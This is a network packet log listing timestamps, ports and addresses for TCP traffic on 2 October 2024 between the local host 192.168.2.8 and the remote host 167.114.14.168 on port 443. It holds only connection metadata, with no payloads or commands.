Oct 2, 2024 06:11:45.037903070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.037955046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.037964106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.038054943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.038444996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.038460016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.038507938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.038516045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.038629055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.041630983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.041646957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.041731119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.041738987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.041816950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.103310108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.103332043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.103380919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.103404999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.103420973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.103442907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.116540909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.116556883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.116605043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.116611958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.116669893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.116669893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.118272066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.118290901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.118333101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.118340015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.118372917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.118396044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.119693041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.119709015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.119793892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.119806051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.119868040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.120462894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.120485067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.120523930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.120531082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.120564938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.120575905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.128974915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.128992081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.129045010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.129051924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.129081964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.129106045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.129272938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.129293919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.129353046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.129359961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.129410982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.132297039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.132314920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.132349968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.132355928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.132392883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.132412910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.194031000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.194046974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.194096088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.194108009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.194139004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.194160938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.207148075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.207170963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.207231045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.207237959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.207278967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.208926916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.208941936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.209017038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.209024906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.209161997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.210246086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.210261106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.210331917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.210340023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.210397959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.211208105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.211222887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.211277962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.211285114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.211338043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.219666958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.219682932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.219737053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.219743967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.219777107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.219795942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.220191002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.220205069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.220264912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.220273018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.220372915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.223717928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.223733902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.223788023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.223795891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.223823071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.223836899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.284894943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.284912109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.284992933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.285002947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.285054922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.298007011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.298027039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.298095942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.298105955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.298402071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.299599886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.299616098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.299724102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.299731016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.299989939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.301094055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.301114082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.301183939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.301192045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.301311016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.301925898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.301942110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.302011013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.302017927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.302042961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.302066088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.310355902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310373068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310460091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.310467958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310512066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.310781002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310796976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310843945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.310848951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.310879946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.310898066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.314336061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.314352989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.314455032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.314460993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.314547062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.377492905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.377512932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.377590895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.377602100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.377707005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.388756037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.388772964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.388849020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.388856888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.388890982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.390319109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.390338898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.390433073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.390438080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.390527010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.391830921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.391850948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.391889095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.391895056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.391916990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.391942978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.392685890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.392704964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.392761946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.392771006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.392862082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.401081085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401103973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401174068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.401179075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401209116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.401236057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.401581049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401596069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401653051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.401658058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.401854992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.405050993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.405069113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.405128002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.405133963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.405206919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.468215942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.468276978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.468329906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.468338966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.468379974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.468399048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.479489088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.479510069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.479556084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.479562998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.479619026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.481004953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.481028080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.481092930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.481098890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.481143951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.482405901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.482424021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.482482910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.482490063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.482532978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.483336926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.483352900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.483411074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.483417034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.483459949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.491851091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.491869926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.491940975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.491950035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.492007017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.492175102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.492197037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.492230892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.492237091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.492275000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.495798111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.495814085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.495877981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.495883942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.495925903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.558967113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.558988094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.559056044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.559063911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.559133053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.570266008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.570286036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.570348024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.570353985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.570400953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.571764946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.571783066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.571860075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.571866035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.571913958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.573329926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.573349953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.573391914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.573395967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.573431015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.573455095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.574045897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.574062109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.574126005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.574132919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.574212074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.582499027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.582521915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.582578897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.582585096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.582628012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.582978010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.582993031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.583070993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.583076954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.583122015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.586412907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.586431980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.586503983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.586510897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.586551905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.649755001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.649772882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.649831057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.649853945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.649880886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.649904966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.661067009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.661087990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.661159039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.661166906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.661205053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.661223888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.662519932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.662535906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.662581921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.662587881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.662621975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.662636995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.663916111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.663944006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.663981915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.663988113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.664015055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.664037943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.664633989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.664649010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.664680958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.664685965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.664721012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.664741039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.673361063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.673377037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.673429012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.673435926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.673475027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.673490047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.673911095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.673927069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.673980951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.673985958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.674011946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.674029112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.677300930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.677329063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.677366972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.677373886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.677418947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.740477085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.740498066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.740577936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.740592003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.740637064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.751879930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.751902103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.751940966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.751948118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.751960993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.751991987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.753396988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.753412008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.753448009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.753453970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.753488064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.753509998 CEST	49723	443	192.168.2.8	167.114.14.168
